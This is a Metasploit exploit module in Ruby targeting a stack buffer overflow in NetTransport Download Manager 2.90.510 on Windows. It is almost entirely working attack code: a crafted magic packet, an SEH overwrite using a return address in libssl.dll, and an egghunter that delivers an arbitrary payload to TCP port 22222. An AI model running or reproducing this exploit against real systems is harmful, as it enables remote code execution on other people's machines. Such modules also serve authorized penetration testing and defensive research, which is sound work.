NetTransport Download Manager 2.90.510 – Remote Buffer Overflow (Metasploit)
## # $Id: nettransport.rb 10150 2010-08-25 20:55:37Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Egghunter include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'NetTransport Download Manager 2.90.510 Buffer Overflow', 'Description' => %q{ This exploits a stack buffer overflow in NetTransport Download Manager, part of the NetXfer suite. This module was tested successfully against version 2.90.510. }, 'Author' => [ 'Lincoln', 'dookie', ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10150 $', 'References' => [ [ 'OSVDB', '61435' ], [ 'URL', 'http://www.exploit-db.com/exploits/10911'], ], 'Privileged' => false, 'DefaultOptions' => { 'EXITFUNC' => 'seh' }, 'Payload' => { 'Space' => 5000, 'BadChars' => "\x00\x20\x0a\x0d", 'StackAdjustment' => -3500, 'DisableNops' => 'True' }, 'Platform' => 'win', 'Targets' => [ [ 'Windows Universal', { 'Ret' => 0x10002a57 } ], # p/p/r libssl.dll ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 02 2010')) register_options( [ Opt::RPORT(22222) ], self.class) end def exploit connect magic_packet = "\xe3\x3d\x00\x00\x00\x01\xee\x4f\x08\xe3\x00\x0e\xae\x41\xb0\x24" magic_packet << "\x89\x38\x1c\xc7\x6f\x6e\x00\x00\x00\x00\xaf\x8d\x04\x00\x00\x00" magic_packet << "\x02\x01\x00\x01\x04\x00\x74\x65\x73\x74\x03\x01\x00\x11\x3c\x00" # Unleash the Egghunter! eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true }) sploit = magic_packet sploit << rand_text_alpha_upper(119) sploit << generate_seh_record(target.ret) sploit << make_nops(10) sploit << eh_stub sploit << make_nops(50) sploit << eh_egg print_status("Trying target #{target.name}...") sock.put(sploit) handler disconnect end end |